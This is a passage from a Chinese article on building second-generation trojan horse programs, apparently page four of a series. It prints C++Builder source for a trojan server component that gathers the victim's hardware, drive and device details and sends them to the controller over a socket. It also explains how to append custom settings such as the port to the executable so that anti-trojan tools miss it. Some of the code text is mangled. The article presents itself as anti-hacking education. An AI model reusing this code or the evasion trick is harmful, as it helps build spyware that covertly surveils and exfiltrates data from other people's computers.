|
6、目标机器情况的获取
相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取 机器情况的方法是调用相关的API,这一点上是和应用程序很相像的。
AnsiString cs; FILE *fp; fp=fopen("temp.had","w+"); //TODO: Add your source code here //获得CPU型号 SYSTEM_INFO systeminfo; GetSystemInfo (&systeminfo); cs="CPU类型是:"+String(systeminfo.dwProcessorType)+"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); MEMORYSTATUS memory; memory.dwLength =sizeof(memory); //初始化 GlobalMemoryStatus(&memory); cs="物理内存是(Mb):"+String(int(memory.dwTotalPhys /1024/1024))+"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); cs="可用内存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); DWORD sector,byte,cluster,free; long int freespace,totalspace; UINT type; char name; //0—未知盘、1—不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、 //5—CD-ROM、6—内存虚拟盘 char volname[255],filename[100];//buffer[512]; DWORD sno,maxl,fileflag ; for (name=‘A‘;name<=‘Z‘;name++) {//循环检测A~Z type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //获得磁 盘类型 if(type==0){ cs="未知类型磁盘:"+String(name)+"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); } else if(type==2){ cs="可移动类型磁盘:"+String(name)+"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); } else if(type==3){ cs="固定磁盘:"+String(name)+"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); } else if(type==4) { cs="网络映射磁盘:"+String(name)+"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); } else if (type==5) { cs="光驱:"+String(name)+"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); } else if (type==6) { cs="内存虚拟磁盘:"+String(name)+"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); }
if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,25 5,&sno,&maxl,&fileflag,filename,100)) { cs=String(name)+"盘卷标为:"+String(volname)+"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); cs=String(name)+"盘序号为:"+String(sno)+"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte ,&free,&cluster); //获得返回参数 totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量 freespace=int(free)*byte*sector/1024/1024; //计算可用空间 cs=String(name)+String(‘:‘)+"盘总空间(Mb):"+AnsiString(totalsp ace)+"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); cs=String(name)+String(‘:‘)+"盘可用空间(Mb):"+AnsiString(frees pace)+"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); } } int wavedevice,mididevice; WAVEOUTCAPS wavecap; MIDIOUTCAPS midicap; wavedevice=(int)waveOutGetNumDevs(); //波形设备信息 mididevice=(int)midiOutGetNumDevs(); // MIDI设备信息 if (wavedevice!=0){ waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS)); cs="当前波形设备:"+String(wavecap.szPname)+"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); } if (mididevice!=0){ midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS)); cs="当前MIDI设备:"+String(midicap.szPname)+"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); } long double tcs; long double tc; long int bpp,cp; cs="当前分辨率为:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height) +"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL); tcs=pow(2,bpp); //计算色彩的梯度数 cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES); tc= pow(double(tcs),double(cp)); //计算色深 AnsiString sss; sss=bpp; cs="当前色深为:"+sss+"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); fclose(fp); AnsiString FileName="temp.had"; char *buf; TcpMsgUint Msg2; strcpy(Msg2.TPassword,Password); TMemoryStream *ms=new TMemoryStream; ms->Clear(); if (!FileExists(FileName)) CheckHard(); TFileStream *fs=new TFileStream(FileName,fmOpenRead);
buf=new char[fs->Size+sizeof(TcpMsgUint)+1]; fs->Read(buf,fs->Size); Msg2.Type=MsgGetHardWare; Msg2.Length=fs->Size; FileClose(fs->Handle); ms->Write(&Msg2,sizeof(TcpMsgUint)); ms->Write(buf,Msg2.Length); ms->Position=0; delete []buf; try{ sock->SendStream(ms); } catch(Exception&e) { } }
上面一段程序,基本上把相关的系统信息都取到了。
7、服务器端程序的包装与加密
用过冰河的人都知道,冰河允许用户自定义端口号。这样做的目的,是为了防止被反黑 程序检测出来,这种功能是如何实现的呢?
首先让我们来做一个实验:
进入Windows的命令行模式下做如下操作 1)C:\>copy Server.Exe Server.Bak 2)建立一个文本文件Test.Txt,其内容为“http://www.patching.net” 3)C:\>type Text.Txt>>Server.Exe 4)运行Server.Exe
怎么样?是不是发现Server.Exe仍然可以运行呢?木马服务器端自定制的奥秘就在这里 :首先生成了一个EXE文件,这个EXE文件里有一项读取自身进程内容的操作,读取时,文件 的指针直接指向进程的末尾,从末尾的倒数N个字节处取得用户定制的信息,比如端口号等, 然后传递给程序的相关部分进行处理。这里不给出相关的代码部分,有兴趣的朋友请参考一 些文件打包程序代码,它所使用的技术是大同小异的。
8、总结
以上讲的几点技术,基本上包括了所有第二代木马的特点,个别的木马程序支持服务器 列表,宏传播等,实现上大同小异。随着技术的不断更新和发展,相信离第五代木马出现的 日子已经不远了,黑与反黑,如此往复的的进行下去,看来反黑工作要走的路还很长,从根 本上防止木马,也只有从我们自身对木马的认识开始,希望这篇文章在您阅读之后能带给您 一些反黑技术上的帮助。
上一页 [1] [2] [3] [4]
|